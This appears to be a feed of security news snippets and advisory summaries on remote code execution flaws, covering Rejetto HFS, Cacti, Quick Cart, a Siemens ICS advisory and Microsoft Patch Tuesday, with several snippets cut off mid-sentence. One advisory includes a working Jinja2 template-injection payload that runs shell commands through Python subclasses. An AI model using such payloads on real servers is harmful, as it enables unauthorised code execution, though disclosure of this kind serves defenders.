#rce

The Rejetto HTTP File Server (HFS) version 2.x is vulnerable to an unauthenticated server side template injection (SSTI) vulnerability. A remote unauthenticated attacker can execute code with the privileges of the user account running the HFS.exe server process. This exploit has been tested to work against version 2.4.0 RC7 and 2.3m. The Rejetto HTTP File Server (HFS) version 2.x is no longer supported by the maintainers and no patch is available. Users are recommended to upgrade to newer supported versions.

This exploit module leverages an arbitrary file write vulnerability in Cacti versions prior to 1.2.27 to achieve remote code execution. It abuses the Import Packages feature to upload a specially crafted package that embeds a PHP file. Cacti will extract this file to an accessible location. The module finally triggers the payload to execute arbitrary PHP code in the context of the user running the web server. Authentication is needed and the account must have access to the Import Packages feature. This is granted by setting the Import Templates permission in the Template Editor section.

Quick Cart version 6.7 suffers from a remote shell upload vulnerability provided you have administrative privileges.

As of January 10, 2023, CISA will no longer be updating ICS security advisories for Siemens product vulnerabilities beyond the initial advisory. For the most up-to-date information on vulnerabilities in this advisory, please see Siemens' ProductCERT Security Advisories (CERT Services | Services | Siemens Global).  View CSAF 1. EXECUTIVE SUMMARY CVSS v3 8.2 ATTENTION: Exploitable remotely/low attack complexity Vendor: Siemens Equipment: ST7 ScadaConnect Vulnerabilities: Integer Overflow or Wraparound, Double Free, Improper Certificate Validation, Inefficient Regular Expression Complexity, Improper Check for Unusual or Exceptional Conditions, Improper Input Validation, NULL Pointer Dereference, Missing Encryption of Sensitive Data, Improper Restriction of Operations within the Bounds of a Memory Buffer, Uncontrolled Resource Consumption 2. RISK EVALUATION Successful exploitation of these vulnerabilities could allow an attacker to disclose information, cause a denial-of-service (DoS) cond...

An RCE vulnerability that affects the Web scripting language on Windows systems is easy to exploit and can provide a broad attack surface.

Red Hat Security Advisory 2024-3838-03 - An update for ruby is now available for Red Hat Enterprise Linux 9. Issues addressed include HTTP response splitting and denial of service vulnerabilities.

CVE-2024-30080 is the only critical issue in Microsoft's June 2024 Patch Tuesday update, but many others require prompt attention as well.

Microsoft today released updates to fix more than 50 security vulnerabilities in Windows and related software, a relatively light Patch Tuesday this month for Windows administrators. The software giant also responded to a torrent of negative feedback on a new feature of Redmond's flagship operating system that constantly takes screenshots of whatever users are doing on their computers, saying the feature would no longer be enabled by default.

### Impact _What kind of vulnerability is it? Who is impacted?_ RCE via SSTI, as root, full takeover. ### Patches _Has the problem been patched? What versions should users upgrade to?_ It has not been patched. ### References _Are there any links users can visit to find out more?_ - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti ### POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `...

The lone critical security issue is a remote code execution vulnerability due to a use-after-free issue in the HTTP handling function of Microsoft Message Queuing.